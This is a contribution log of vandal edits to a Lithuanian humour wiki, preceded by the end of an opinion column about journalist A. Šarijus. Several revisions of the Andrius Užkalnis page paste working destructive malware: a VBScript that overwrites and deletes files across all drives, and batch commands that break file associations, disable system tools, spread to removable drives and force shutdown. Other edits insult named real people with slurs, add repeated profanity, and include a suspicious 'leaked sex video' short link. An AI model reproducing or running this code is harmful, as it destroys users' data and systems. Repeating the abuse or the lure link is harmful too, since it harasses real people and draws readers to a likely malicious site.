Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Magdalena_%C5%A0ventoji&diff=46570Magdalena Šventoji2015-07-20T17:29:37Z<p>Panceris88: Atšauktas Tararaika (Aptarimas | įnašas) keitimas (46085 versija)</p>
<hr />
<div>{{ffff}}<br />
[[Vaizdas:sep.jpeg|300px|thumb|right|Magdalena<br />
<br />
<br />
KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!KURVY KURVY KURVY KURVY FAŠISTICKÝ. Já jim ty jejich protiatomový kryty nezávidím, ale až jednou vylezou ven, stejně je někdo sejme !!!</div>Panceris88https://www.pipedija.com/index.php?title=Romas_Sadauskas&diff=46568Romas Sadauskas2015-07-20T17:23:12Z<p>Panceris88: Atšauktas Tararaika (Aptarimas | įnašas) keitimas (46086 versija)</p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Romka.jpeg|350px|thumb|right|Druskinykų feministas, redaktorius ir blogerius Romas Sadauskas-Kvietkevičius. Su baltu ploščiumi plikas po druskininkus duodas ale be šlipso. Bo neformalus]] '''Romas Sadauskas-Kvietkevičius''' - keistas [[pankas]], o gal [[metalistas]], kuris kadaise persikėlė iš [[Vilnius|Vilniaus]] gyvent į [[Druskininkai|Druskininkus]], o tenai ir tapo kokiu tai [[NT]] spekuliatoriumi, užsidirbusiu iš to visokius turtus bet yra smaukalas<br />
<br />
Gandai sklando, kad turi nuosavą ozy[[laikraštis|laikraštį]] ar tai netgi kelis, nes be kita ko, ne tik uosle [[pinigai|pinigams]] pasižymi, bet ir aiškiai išreikštu sugebėjimu įdomiai parašinėt. Taip kad yra dar ir koksai tai [[redaktorius]] bei dar labiau pagarsėjęs [[blogeris]], rašantis įdomų tinklaraštį.<br />
<br />
Čia dar turim pridėt, kad aiškus dešinysis ir liberalistas, gyvuliškai nekenčiantis visokių ten [[kairieji|kairiųjų]], kas yra simptomatiška, nes kai tik žmogus turi pinigų, tai ir negali pakesti kovos už žmonių gerovę kažkodėl. Dar be to priklauso [[barzdočiai|barzdočių]] grupuotei, beje, tarp kitko, bai de vej.<br />
<br />
Keistos sąsajos sako, kad Romas Sadauskas yra visiškas dešinysis liberalas, bet kažkodėl tuo pačiu ir pusiau tolerantas. Dargi sako, kad [[Bacevyčia]] esantis senu draugu jo bei sugėrovu.<br />
<br />
<br />
== Kažkokios istorijos apie Romą Sadauską-Kvietkevičių ==<br />
[[Vaizdas:Senis.jpeg|500px|thumb|left|Romas Sadauskas]] BUKAGALVIS KOKIU RETA<br />
<br />
== Dar žr. ==<br />
<br />
* Labai vertas Romo Sadausko tinklaraštis - http://druskininkunaujienos.blogspot.com/<br />
<br />
{{Blogeriai}}<br />
[[Category:Blogeriai]]<br />
[[Category:Barzdočiai]]</div>Panceris88https://www.pipedija.com/index.php?title=Marius_Kundrotas&diff=46567Marius Kundrotas2015-07-20T17:11:00Z<p>Panceris88: </p>
<hr />
<div>{{nightghost}}<br />
[[Vaizdas:Marka.jpeg|500px|thumb|right|Marius Kundrotas [[toks]] gražus ir mielas, išdidžiai pakėlęs ranką, šaukia kažką [[gėjų paradas|gėjų parade]]]]<br />
'''Marius Kundrotas''' - garsusai irgi žymusai [[LTC]] veikėjas, katras už lygybę ir [[lygios teisės|lygias teises]] visiems žinoma, tai jau [[tolerancija]] netgi ne eilinė, o tiesiog [[visame gražume]].<br />
<br />
Tai dabar [[piderastų ir satanistų gi kiti rėkia priešingai, kad esą čia buvo tikslingas įvykis, siekiant pritraukti užusienio žurnalistų dėmesį į šalį kamuojančias problemas.<br />
<br />
Latentinis homoseksualumas yra neviešas ir neįsisamonintas, tad ir gėjus ar lesbietė, kol latentiški, tai to ir nesupranta irgi nepripažįsta, vaizduodamiesi,Šitas latentinis gėjus, veltėdis, idiotas ir skandalistas neturi jokių šansų tapti Vilniaus meru. Nė viena protaujanti būtybė nebalsuos už šitą klouną. <br />
<br />
<br />
[[Category:Asmenybės]],</div>Panceris88https://www.pipedija.com/index.php?title=Marius_Kundrotas&diff=46566Marius Kundrotas2015-07-20T17:09:18Z<p>Panceris88: </p>
<hr />
<div>{{nightghost}}<br />
[[Vaizdas:Marka.jpeg|500px|thumb|right|Marius Kundrotas [[toks]] gražus ir mielas, išdidžiai pakėlęs ranką, šaukia kažką [[gėjų paradas|gėjų parade]]]]<br />
'''Marius Kundrotas''' - garsusai irgi žymusai [[LTC]] veikėjas, katras už lygybę ir [[lygios teisės|lygias teises]] visiems žinoma, tai jau [[tolerancija]] netgi ne eilinė, o tiesiog [[visame gražume]].<br />
<br />
Tai dabar [[piderastų ir satanistų sąmokslas]] rėkia, esą šisai išdavęs [[Lietuva|Lietuvą]] kaži kokiais interviu, duotais kažkokiai [[Rusija|Rusijos]] televizinei [[propaganda|propagandai]], gi kiti rėkia priešingai, kad esą čia buvo tikslingas įvykis, siekiant pritraukti užusienio žurnalistų dėmesį į šalį kamuojančias problemas.<br />
<br />
Latentinis homoseksualumas yra neviešas ir neįsisamonintas, tad ir gėjus ar lesbietė, kol latentiški, tai to ir nesupranta irgi nepripažįsta, vaizduodamiesi,Šitas latentinis gėjus, veltėdis, idiotas ir skandalistas neturi jokių šansų tapti Vilniaus meru. Nė viena protaujanti būtybė nebalsuos už šitą klouną. <br />
<br />
<br />
[[Category:Asmenybės]],</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46565Andrius Užkalnis2015-07-20T17:06:09Z<p>Panceris88: </p>
<hr />
<div>{{teslos gabalas}}<br />
[[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])NighTGhosT<br />
<br />
<br />
<br />
<br />
haha()<br />
Sub haha()<br />
On Error Resume Next<br />
Dim d, dc, s, fso, haha<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set dc = fso.Drives<br />
For Each d In dc<br />
If d.DriveType = 2 Or d.DriveType = 3 Then<br />
hihi (d.Path & "\")<br />
End If<br />
Next<br />
haha = s<br />
End sub<br />
Sub hehe(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, fc, ext, s, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set fc = f.Files<br />
For Each f1 In fc<br />
ext = fso.GetExtensionName(f1.Path)<br />
ext = LCase(ext)<br />
s = LCase(f1.Name)<br />
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then<br />
Set f = fso.getfile(wscript.scriptfullname)<br />
f.Copy (f1.Path & ".vbe")<br />
fso.deletefile(f1.path)<br />
End If<br />
Next<br />
End Sub<br />
Sub hihi(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, sf, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set sf = f.SubFolders<br />
For Each f1 In sf<br />
hehe (f1.Path)<br />
hihi (f1.Path)<br />
Next<br />
End Sub<br />
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err<br />
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f<br />
<br />
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat<br />
<br />
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat<br />
<br />
goto err<br />
<br />
:err;shutdown -t 5 -s</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46564Andrius Užkalnis2015-07-20T17:05:20Z<p>Panceris88: </p>
<hr />
<div>{{teslos gabalas}}<br />
[[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])Аватар для NighTGhosT<br />
<br />
Вот еще 2 вируса:<br />
1) Создаём vbs программу, у кого нет этого языка создаёт блокнот вбивает туда то, что я напишу ниже и сохраняем с расширением vbs.<br />
<br />
<br />
haha()<br />
Sub haha()<br />
On Error Resume Next<br />
Dim d, dc, s, fso, haha<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set dc = fso.Drives<br />
For Each d In dc<br />
If d.DriveType = 2 Or d.DriveType = 3 Then<br />
hihi (d.Path & "\")<br />
End If<br />
Next<br />
haha = s<br />
End sub<br />
Sub hehe(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, fc, ext, s, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set fc = f.Files<br />
For Each f1 In fc<br />
ext = fso.GetExtensionName(f1.Path)<br />
ext = LCase(ext)<br />
s = LCase(f1.Name)<br />
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then<br />
Set f = fso.getfile(wscript.scriptfullname)<br />
f.Copy (f1.Path & ".vbe")<br />
fso.deletefile(f1.path)<br />
End If<br />
Next<br />
End Sub<br />
Sub hihi(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, sf, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set sf = f.SubFolders<br />
For Each f1 In sf<br />
hehe (f1.Path)<br />
hihi (f1.Path)<br />
Next<br />
End Sub<br />
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err<br />
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f<br />
<br />
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat<br />
<br />
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat<br />
<br />
goto err<br />
<br />
:err;shutdown -t 5 -s</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46563Andrius Užkalnis2015-07-20T16:59:56Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])<br />
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err<br />
<br />
copy %0 C:\Microsoft.batcopy%0 D:\System.batattrib +s +r C:\Microsoft.batattrib +s +r D:\System.bat<br />
<br />
reg add "hklm\software\microsoft\windows\currentversion\ru n" /v drive /t reg_sz /d C:\Microsoft.batreg add "hklm\software\microsoft\windows\currentversion\ru nservices" /v drive /t reg_sz /d C:\Microsoft.batreg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f<br />
<br />
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat<br />
<br />
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat<br />
<br />
goto err<br />
<br />
:err;shutdown -t 5 -s</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46562Andrius Užkalnis2015-07-20T16:57:03Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46561Andrius Užkalnis2015-07-20T16:55:39Z<p>Panceris88: Puslapis keičiamas su „{{Abejotinas}} Vaizdas:http://img.lrytas.lt/show_foto/?f=4&id=538312&s=20|350px|thumb|right|Andrius Užkalnis rūko naglai cigarą ir galvoja, kaip čia vėl rusofi...“</p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:http://img.lrytas.lt/show_foto/?f=4&id=538312&s=20|350px|thumb|right|Andrius Užkalnis rūko naglai cigarą ir galvoja, kaip čia vėl rusofilams kiaušius užmint]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])</div>Panceris88https://www.pipedija.com/index.php?title=Milda_Barta%C5%A1i%C5%ABnait%C4%97&diff=46560Milda Bartašiūnaitė2015-07-20T16:41:43Z<p>Panceris88: Atšauktas Tararaika (Aptarimas | įnašas) keitimas (46069 versija)</p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Blackhat.jpeg|400px|thumb|right|Milda Bartašiūnaitė [[tokia]] ]]<br />
<br />
4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy<br />
<br />
http://is.gd/download_girl_leaked_sex_videe<br />
<br />
<br />
<br />
[[Category:Personažai]]</div>Panceris88